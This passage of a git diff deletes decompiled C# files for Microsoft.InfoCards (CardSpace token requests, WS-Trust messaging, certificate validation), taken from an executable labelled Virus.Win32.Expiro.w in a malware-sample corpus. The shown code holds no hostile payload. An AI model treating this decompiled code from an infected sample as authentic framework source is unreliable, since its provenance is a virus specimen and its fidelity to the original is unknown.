element.SetAttribute("Uri", claimUri); - if (optional) - element.SetAttribute("Optional", "true"); - return element; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenRequest.cs deleted file mode 100644 index 5d0ea37a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenRequest.cs +++ /dev/null @@ -1,539 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Diagnostics; -using System.Globalization; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenRequest : GetTokenRequest - { - public const int POLICY_V1 = 1; - public const int POLICY_V2 = 2; - private GetBrowserTokenParameters m_params; - private ServiceEndpoint m_svcEpr; - private byte[] m_rawToken; - private SelfIssuedAuthProofToken m_proofToken; - private ProtocolProfile m_protocolProfile; - - public GetBrowserTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs) - { - this.m_protocolProfile = new ProtocolProfile(); - } - - private static bool IsReferralToManagedIssuer(Binding issuerBinding) - { - bool managedIssuer = false; - if (issuerBinding != null && issuerBinding.CreateBindingElements().Find() != null) - managedIssuer = true; - return managedIssuer; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - try - { - this.m_params = new GetBrowserTokenParameters(); - int paramVersion = reader.ReadInt32(); - if (1 != paramVersion && 2 != paramVersion) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidFlagsSpecified"))); - this.m_params.Load(reader, paramVersion); - if ((Uri) null == this.m_params.Issuer.PolicyUrl) - { - this.CreateInfoCardPolicyFromBrowserParams(); - } - else - { - if (Utility.CompareUri(XmlNames.WSIdentity.SelfIssuerUriValue, this.m_params.Issuer.Address) || Utility.CompareUri(XmlNames.WSIdentity.AnonymousIssuerUriValue, this.m_params.Issuer.Address)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("SelfOrAnonIssuerNotAllowedWhenMexSpecified", (object) this.m_params.Issuer.Address))); - if ((Uri) null == this.m_params.Issuer.Address) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoIssuerSpecifiedWhenMexIsSpecified"))); - ServiceEndpointCollection endpointCollection; - try - { - endpointCollection = this.GetServiceEndpointCollection(this.m_params.Issuer.Address, this.m_params.Issuer.PolicyUrl); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - endpointCollection = (ServiceEndpointCollection) null; - } - if (endpointCollection != null && endpointCollection.Find(this.m_params.Issuer.Address) != null) - { - ServiceEndpoint serviceEndpoint = endpointCollection.Find(this.m_params.Issuer.Address); - if (!GetBrowserTokenRequest.IsReferralToManagedIssuer(serviceEndpoint.Binding) && this.DoesEndpointSatisfySecurityRequirements(serviceEndpoint) && this.DoesEndpointSatisfyIssuedTokenRequirements(serviceEndpoint)) - { - if (Uri.UriSchemeHttps != this.m_params.Recipient.Address.Scheme) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("RPStsWithNoSSLFailure"))); - this.m_svcEpr = serviceEndpoint; - SecurityBindingElement securityBindingElement = serviceEndpoint.Binding.CreateBindingElements().Find(); - InfoCardTrace.Assert(null != securityBindingElement, "No SecurityBindingElement was found in the BindingElementCollection"); - if (TrustVersion.WSTrust13 == securityBindingElement.MessageSecurityVersion.TrustVersion) - this.m_protocolProfile.WSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - } - } - this.CreateInfoCardPolicyFromBrowserParams(); - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("ServiceInvalidArguments"), ex)); - throw; - } - } - - private void CreateInfoCardPolicyFromBrowserParams() - { - CardSpacePolicyElement policyElement = this.m_params.CreatePolicyElement(this.m_protocolProfile); - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElement, policyElement.PolicyNoticeLink, (uint) policyElement.PolicyNoticeVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.Browser); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - } - - private bool DoesEndpointSatisfyIssuedTokenRequirements(ServiceEndpoint serviceEndpoint) => serviceEndpoint != null && GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(serviceEndpoint.Binding.CreateBindingElements()) != null; - - private bool DoesEndpointSatisfySecurityRequirements(ServiceEndpoint serviceEndpoint) - { - if (serviceEndpoint != null) - { - ISecurityCapabilities property = serviceEndpoint.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsClientAuthentication && property.SupportsServerAuthentication) - return true; - } - return false; - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - try - { - try - { - binaryWriter.Write(this.m_rawToken.Length); - binaryWriter.Write(this.m_rawToken, 0, this.m_rawToken.Length); - } - finally - { - Array.Clear((Array) this.m_rawToken, 0, this.m_rawToken.Length); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceFailedToWriteToken"), ex)); - throw; - } - } - - protected override void OnProcess() - { - try - { - if (this.m_svcEpr == null) - { - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter w = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.Token.ProtectedToken.WriteTo(w); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - else - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = this.CreateClientCredentials(this.m_svcEpr); - Binding source = GetBrowserTokenRequest.ReplaceAllHttpTransportWithProxyInFederatedChain(this.m_svcEpr.Binding, this.UserProxy); - using (ChannelFactory channelFactory = new ChannelFactory(Utility.BuildBindingWithMaxMessageSize(source), this.m_svcEpr.Address)) - { - channelFactory.Endpoint.Binding.OpenTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.SendTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.ReceiveTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.CloseTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials); - GetBrowserTokenRequest.ISts sts = channelFactory.CreateChannel(); - if (this.Policy == null) - this.CreateInfoCardPolicyFromBrowserParams(); - Message rstMsg = Message.CreateMessage(this.m_svcEpr.Binding.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) new RequestSecurityTokenForGetBrowserToken(new RequestSecurityTokenParameters(this.m_svcEpr.Binding.MessageVersion.Addressing, this.m_params, this.m_protocolProfile, this.Policy, true))); - Message rstrMsg = (Message) null; - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenFeb2005(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenWSTrust13(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - InfoCardTrace.Assert(null != rstrMsg, "Should have thrown before this if message is null"); - WSIdentityFaultException.ThrowIfFaultMessage(rstrMsg, CultureInfo.GetCultureInfo(this.UserLanguage)); - using (XmlReader readerAtBodyContents = (XmlReader) rstrMsg.GetReaderAtBodyContents()) - { - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.WriteRequestedTokenFrom(readerAtBodyContents, writer); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - channelFactory.Close(); - } - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceSTSCommunicationFailed"), ex)); - throw; - } - } - - public static void WriteSourceUrlAppliesTo( - XmlWriter writer, - GetBrowserTokenParameters browserParams, - ProtocolProfile profile) - { - EndpointAddress endpointAddress = browserParams.Recipient.CreateEndpointAddress(); - writer.WriteStartElement(profile.WSPolicy.DefaultPrefix, profile.WSPolicy.AppliesTo, profile.WSPolicy.Namespace); - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteEndElement(); - } - - private static IssuedSecurityTokenParameters TryGetNextStsIssuedTokenParameters( - BindingElementCollection bindingElements) - { - if (bindingElements == null) - return (IssuedSecurityTokenParameters) null; - ThrowOnMultipleAssignment issuedTokenParameters = new ThrowOnMultipleAssignment(SR.GetString("TooManyIssuedSecurityTokenParameters")); - SecurityBindingElement securityBindingElement1 = bindingElements.Find(); - if (securityBindingElement1 == null) - return (IssuedSecurityTokenParameters) null; - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(securityBindingElement1.EndpointSupportingTokenParameters, issuedTokenParameters); - foreach (SupportingTokenParameters parameters in (IEnumerable) securityBindingElement1.OperationSupportingTokenParameters.Values) - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(parameters, issuedTokenParameters); - switch (securityBindingElement1) - { - case AsymmetricSecurityBindingElement _: - AsymmetricSecurityBindingElement securityBindingElement2 = (AsymmetricSecurityBindingElement) securityBindingElement1; - issuedTokenParameters.Value = securityBindingElement2.InitiatorTokenParameters as IssuedSecurityTokenParameters; - issuedTokenParameters.Value = securityBindingElement2.RecipientTokenParameters as IssuedSecurityTokenParameters; - break; - case SymmetricSecurityBindingElement _: - SecurityTokenParameters protectionTokenParameters = ((SymmetricSecurityBindingElement) securityBindingElement1).ProtectionTokenParameters; - if (protectionTokenParameters is SecureConversationSecurityTokenParameters) - { - SecureConversationSecurityTokenParameters securityTokenParameters = (SecureConversationSecurityTokenParameters) protectionTokenParameters; - BindingElementCollection bindingElements1 = new BindingElementCollection(); - if (securityTokenParameters.BootstrapSecurityBindingElement != null) - bindingElements1.Add((BindingElement) securityTokenParameters.BootstrapSecurityBindingElement); - issuedTokenParameters.Value = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements1); - break; - } - issuedTokenParameters.Value = protectionTokenParameters as IssuedSecurityTokenParameters; - break; - } - return issuedTokenParameters.Value; - } - - private static void GetIssuedSecurityTokenParametersFromSupportingTokenParameters( - SupportingTokenParameters parameters, - ThrowOnMultipleAssignment issuedTokenParameters) - { - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.Endorsing, issuedTokenParameters); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.SignedEndorsing, issuedTokenParameters); - } - - private static void GetIssuedSecurityTokenParametersFromCollection( - Collection collection, - ThrowOnMultipleAssignment issuedTokenParameters) - { - foreach (SecurityTokenParameters securityTokenParameters1 in collection) - { - if (securityTokenParameters1 is SecureConversationSecurityTokenParameters) - { - SecureConversationSecurityTokenParameters securityTokenParameters2 = (SecureConversationSecurityTokenParameters) securityTokenParameters1; - BindingElementCollection bindingElements = new BindingElementCollection(); - if (securityTokenParameters2.BootstrapSecurityBindingElement != null) - bindingElements.Add((BindingElement) securityTokenParameters2.BootstrapSecurityBindingElement); - issuedTokenParameters.Value = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements); - } - else - issuedTokenParameters.Value = securityTokenParameters1 as IssuedSecurityTokenParameters; - } - } - - private GetBrowserTokenRequest.CreateIssuedTokenClientCredentials CreateClientCredentials( - ServiceEndpoint svcEpr) - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - EndpointAddress endpointAddress = svcEpr.Address; - Binding binding = svcEpr.Binding; - X509Certificate2Collection certificate2Collection = new X509Certificate2Collection(); - try - { - while (binding != null) - { - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(binding.CreateBindingElements()); - if (issuedTokenParameters != null && !((EndpointAddress) null == issuedTokenParameters.IssuerAddress) && !((Uri) null == issuedTokenParameters.IssuerAddress.Uri)) - { - if (endpointAddress.Identity is X509CertificateEndpointIdentity identity) - { - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(identity.Certificates[0], certificate2Collection, out chainTrustPassed); - clientCredentials.ServiceCertificate.ScopedCertificates.Add(endpointAddress.Uri, identity.Certificates[0]); - } - binding = issuedTokenParameters.IssuerBinding; - endpointAddress = issuedTokenParameters.IssuerAddress; - } - else - break; - } - if (this.m_params.Issuer.LeafCertificate != null) - { - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(this.m_params.Issuer.LeafCertificate, this.m_params.Issuer.SupportingCertificates, out chainTrustPassed); - clientCredentials.ServiceCertificate.DefaultCertificate = this.m_params.Issuer.LeafCertificate; - certificate2Collection.AddRange(this.m_params.Issuer.SupportingCertificates); - } - else - { - if (!(svcEpr.Address.Identity is X509CertificateEndpointIdentity identity)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidIPSTSPolicy"))); - clientCredentials.ServiceCertificate.DefaultCertificate = identity.Certificates[0]; - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - } - InfoCardTrace.Assert(null != clientCredentials.ServiceCertificate.DefaultCertificate, "This is configured in both cases above - either via the incoming params or via the endpoint retrieved from mex"); - clientCredentials.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return clientCredentials; - } - - private void WriteRequestedTokenFrom(XmlReader reader, XmlWriter writer) - { - while (reader.Read()) - { - if (reader.IsStartElement(this.m_protocolProfile.WSTrust.RequestedSecurityToken, this.m_protocolProfile.WSTrust.Namespace)) - { - reader.Read(); - writer.WriteNode(reader, false); - return; - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoTokenReturned"))); - } - - private ServiceEndpointCollection GetServiceEndpointCollection( - Uri serviceUri, - Uri mexUri) - { - bool flag = false; - InfoCardMetadataExchangeClient mex = new InfoCardMetadataExchangeClient(Utility.BuildBindingWithMaxMessageSize((Binding) new WSHttpBinding(SecurityMode.Transport))); - mex.Proxy = this.UserProxy; - MetadataSet metadataSet = (MetadataSet) null; - mex.ResolveMetadataReferences = true; - mex.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - EndpointAddress metadataAddress = new EndpointAddress(mexUri, new AddressHeader[0]); - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(metadataAddress)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(mexUri, MetadataExchangeClientMode.HttpGet)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"))); - WsdlImporter imp = new WsdlImporter(metadataSet); - imp.State.Add((object) "MetadataExchangeClientKey", (object) mex); - ServiceEndpointCollection serviceEndpoints = (ServiceEndpointCollection) null; - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => serviceEndpoints = imp.ImportAllEndpoints()), (ClientRequest.AsyncEntryCallback) null); - return serviceEndpoints; - } - - private static BindingElementCollection UpdateBindingElementsToProxy( - BindingElementCollection bindingElements, - IWebProxy proxy) - { - bindingElements = HttpProxyTransportBindingElement.ReplaceHttpTransportWithProxy(bindingElements, proxy); - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements); - if (issuedTokenParameters != null && (EndpointAddress) null != issuedTokenParameters.IssuerAddress && (Uri) null != issuedTokenParameters.IssuerAddress.Uri && issuedTokenParameters.IssuerBinding != null) - issuedTokenParameters.IssuerBinding = (Binding) new CustomBinding((IEnumerable) GetBrowserTokenRequest.UpdateBindingElementsToProxy(issuedTokenParameters.IssuerBinding.CreateBindingElements(), proxy)); - return bindingElements; - } - - private static Binding ReplaceAllHttpTransportWithProxyInFederatedChain( - Binding binding, - IWebProxy proxy) - { - return (Binding) new CustomBinding((IEnumerable) GetBrowserTokenRequest.UpdateBindingElementsToProxy(binding.CreateBindingElements(), proxy)); - } - - private SecurityToken CreateIssuedToken( - CardSpacePolicyElement[] policyElements, - SecurityTokenSerializer tokenSerializer) - { - WindowsImpersonationContext impersonationContext = this.RequestorIdentity.Impersonate(); - try - { - try - { - int index1 = policyElements.Length - 1; - InfoCardTrace.Assert(0 <= index1, "lastElementIndex should be non-negative"); - if (policyElements[index1].IsManagedIssuer) - --index1; - int length = index1; - if (0 < length) - { - InfoCardPolicy[] infoCardPolicyArray = new InfoCardPolicy[length]; - for (int index2 = 0; index2 < length; ++index2) - { - infoCardPolicyArray[index2] = PolicyFactory.CreatePolicyForIntermediateGetBrowserTokenRequest(policyElements[index2], (Uri) null, 0U, (RecipientIdentity) null); - infoCardPolicyArray[index2].Validate(); - } - } - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElements[index1], this.m_params.PrivacyUrl, this.m_params.PrivacyVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.GetToken); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - SecurityKeyIdentifierClause internalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.InternalTokenReference)); - SecurityKeyIdentifierClause externalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.ExternalTokenReference)); - this.m_proofToken = this.Token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.Token.SymmetricProof.Key), this.Token.ExpirationTime) : new SelfIssuedAuthProofToken(this.GetPrivateCryptography(), this.Token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.Token.ProtectedToken, (SecurityToken) this.m_proofToken, this.Token.EffectiveTime, this.Token.ExpirationTime, internalTokenReference, externalTokenReference, (ReadOnlyCollection) null); - } - finally - { - impersonationContext.Undo(); - } - } - catch - { - throw; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private class CreateIssuedTokenClientCredentials : ClientCredentials - { - private GetBrowserTokenRequest request; - - public CreateIssuedTokenClientCredentials(GetBrowserTokenRequest request) - { - InfoCardTrace.ThrowInvalidArgumentConditional(request == null, nameof (request)); - this.request = request; - } - - protected internal CreateIssuedTokenClientCredentials( - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials other) - : base((ClientCredentials) other) - { - this.request = other.request; - } - - protected override ClientCredentials CloneCore() => (ClientCredentials) new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - - protected override SecurityToken GetInfoCardSecurityToken( - bool requiresInfoCard, - CardSpacePolicyElement[] chain, - SecurityTokenSerializer tokenSerializer) - { - return this.request.CreateIssuedToken(chain, tokenSerializer); - } - } - - [ServiceContract] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCardDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCardDetailsRequest.cs deleted file mode 100644 index f3768468..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCardDetailsRequest.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCardDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCardDetailsRequest : UIAgentRequest - { - private InfoCard m_card; - private bool m_cardMatchesPolicyRequirements; - - public GetCardDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() => this.m_cardMatchesPolicyRequirements = this.m_card.DoesCardMatchPolicySet(this.GetPolicy()); - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_cardMatchesPolicyRequirements); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCertificateRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCertificateRequest.cs deleted file mode 100644 index 63ab1f45..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCertificateRequest.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCertificateRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCertificateRequest : UIAgentRequest - { - private string m_recipientIdentifier; - private X509Certificate2 m_certificate; - - public GetCertificateRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientIdentifier = Utility.DeserializeString(new BinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - this.m_certificate = this.ParentRequest.CertCacheFind(this.m_recipientIdentifier); - if (this.m_certificate == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoCachedCertificateForRecipient"))); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_certificate.GetRawCertData()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCryptoTransformRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCryptoTransformRequest.cs deleted file mode 100644 index 780bd420..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCryptoTransformRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCryptoTransformRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCryptoTransformRequest : ClientRequest - { - private int m_cryptoSession; - private CipherMode m_mode; - private PaddingMode m_padding; - private int m_feedbackSize; - private SymmetricCryptoSession.Direction m_direction; - private byte[] m_iv; - private TransformCryptoSession m_transformSession; - - public GetCryptoTransformRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - 